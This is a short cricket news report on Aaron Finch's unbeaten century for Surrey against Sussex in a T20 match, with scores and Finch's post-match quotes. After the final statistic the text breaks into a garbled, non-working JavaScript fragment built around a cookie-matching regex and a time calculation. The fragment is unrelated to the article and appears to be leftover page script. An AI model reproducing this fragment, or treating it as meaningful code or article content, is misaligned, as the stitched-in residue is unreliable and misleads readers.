Australian limited overs star Aaron Finch, has smacked a superb unbeaten century to lead Surrey to a 17-run win in England's domestic T20 competition.
Finch hit 114 from just 58 balls, with seven fours and seven sixes, including four consecutive sixes in one over.
The 30-year-old opened the batting with Jason Roy, who hit 50 from 33 balls in a 102-run opening stand.
Fellow Aussie Moises Henriques was run out for 15, while Ollie Pope was seven not out, as Surrey reached 2-193.
In reply, Sussex fell 17 runs short, reaching 7-176. Chris Nash top scored with 53 at the top of the order, while Stiaan van Zyl scored 29 and Chris Jordan 24 not out.
"It was in the back of my mind to try and bat through because on that surface I knew I could do some damage at the end," Finch said post-match.
"I knew David Wiese was going to bowl slower deliveries into the wicket. He got them a touch too full and I was able to swing through the line, whereas a few overs before I was swinging like a rusty gate and couldn't make contact with them.
"That over really broke the game open for us.
"We seem to play our best cricket when our backs are against the wall. We have two games left and hopefully two wins will get us into the top four."
Finch is currently the fourth leading run scorer of the series so far, with 435 runs from 10 games at an average of 48.33. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
